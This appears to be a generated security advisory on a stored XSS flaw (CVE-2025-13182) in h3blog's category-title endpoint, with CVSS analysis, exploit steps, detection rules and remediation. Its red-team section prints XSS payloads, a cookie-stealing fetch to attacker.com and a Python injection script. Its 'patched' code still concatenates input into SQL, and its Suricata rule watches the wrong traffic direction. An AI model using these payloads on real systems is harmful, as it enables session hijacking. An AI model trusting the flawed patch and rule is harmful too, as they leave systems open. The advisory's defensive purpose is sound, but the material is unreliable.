CVE-2025-13182

Executive Summary

CVE-2025-13182 is a stored Cross-Site Scripting (XSS) vulnerability identified in pojoin h3blog version 1.0. The flaw resides in the /admin/cms/category/addtitle endpoint, where the Title parameter is not properly sanitized before being stored and later rendered. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code, which will execute in the browsers of other administrators viewing the affected page. The CVSS score is 3.5 (Low), reflecting the requirement for authentication and user interaction. The exploit is publicly available, increasing the risk of targeted attacks against unpatched instances.

Supply Chain & Package Security

This is a standalone PHP application (h3blog) and is not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain compromise is associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have admin-level credentials.
• User Interaction (UI): Required (R) – The victim must visit the crafted admin page.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The requirement for admin credentials significantly reduces the attack surface. However, if an attacker compromises an admin account, they can use this XSS to pivot to other admin users, potentially leading to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (also known as Persistent XSS). The application fails to sanitize user-supplied input in the Title field when adding a new category via the /admin/cms/category/addtitle endpoint.

Attack Flow:

1. An authenticated admin user navigates to the category management page.
2. The attacker (or a compromised admin) submits a new category with a malicious payload in the Title field, e.g., <script>alert('XSS')</script>.
3. The application stores this unsanitized input in the database.
4. When any other admin user visits the category listing page (or any page that renders the category title), the malicious script is executed in their browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Root Cause: The application likely uses a function like echo $_POST['title'] or echo $row['title'] without applying htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// /admin/cms/category/addtitle (vulnerable)
$title = $_POST['title'];
$sql = "INSERT INTO categories (title) VALUES ('$title')";
// ... execute query ...
// Later, when displaying:
echo "<td>" . $row['title'] . "</td>";

Patched Code (PHP):

// Patched version
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO categories (title) VALUES ('$title')";
// ... execute query ...
// When displaying:
echo "<td>" . htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') . "</td>";

The patch uses htmlspecialchars() to encode HTML special characters (<, >, ", ', &), preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of h3blog 1.0.
• Admin credentials (e.g., admin:admin).

Exploit Steps:

1. Log in to the admin panel.
2. Navigate to /admin/cms/category/addtitle.
3. Submit a new category with the following payload in the Title field:

   <script>alert(document.cookie)</script>
   

4. Any admin viewing the category list will see an alert with their cookies.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Automated Exploit (Python):

import requests

target = "http://target.com/admin/cms/category/addtitle"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "admin"}
session.post("http://target.com/admin/login", data=login_data)

# Inject XSS
payload = {"title": "<script>alert('XSS')</script>"}
session.post(target, data=payload)
print("Payload injected. Visit category list to trigger.")

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /admin/cms/category/addtitle for suspicious title parameters containing <script>, onerror=, or javascript:.
• Use WAF rules to block common XSS patterns.
• Review server logs for unusual admin activity.

Prevention:

• Apply input validation and output encoding (as shown in the patched code).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to mitigate session theft.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/cms/category/addtitle with title parameter containing <script> tags.
  • Outbound connections to known malicious domains from the admin panel.
• File System:
  • Modified database entries in the categories table with JavaScript payloads.
• Logs:
  • Web server logs showing repeated POST requests to the vulnerable endpoint.
  • Application logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_13182_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-13182 in h3blog"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13182"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-13182 - Stored XSS in h3blog Category Title
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects attempts to exploit stored XSS in h3blog /admin/cms/category/addtitle
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/cms/category/addtitle'
        cs-uri-query|contains: 'title='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13182 - Stored XSS in h3blog Category Title"; flow:to_server,established; content:"POST"; http_method; content:"/admin/cms/category/addtitle"; http_uri; pcre:"/title=.*(<script|onerror|javascript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /admin/cms/category/addtitle via .htaccess or web server config.
2. Apply input sanitization: Manually patch the code by adding htmlspecialchars() to the title output.
3. Restrict admin access: Use IP whitelisting and strong authentication (MFA) for admin accounts.

Long-Term Fix:

• Upgrade to a patched version of h3blog (if released).
• Conduct a full security audit of the application.
• Implement a Web Application Firewall (WAF) with XSS protection rules.

Workaround:

• If patching is not possible, remove the category management feature or disable JavaScript in the admin panel (not recommended).

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.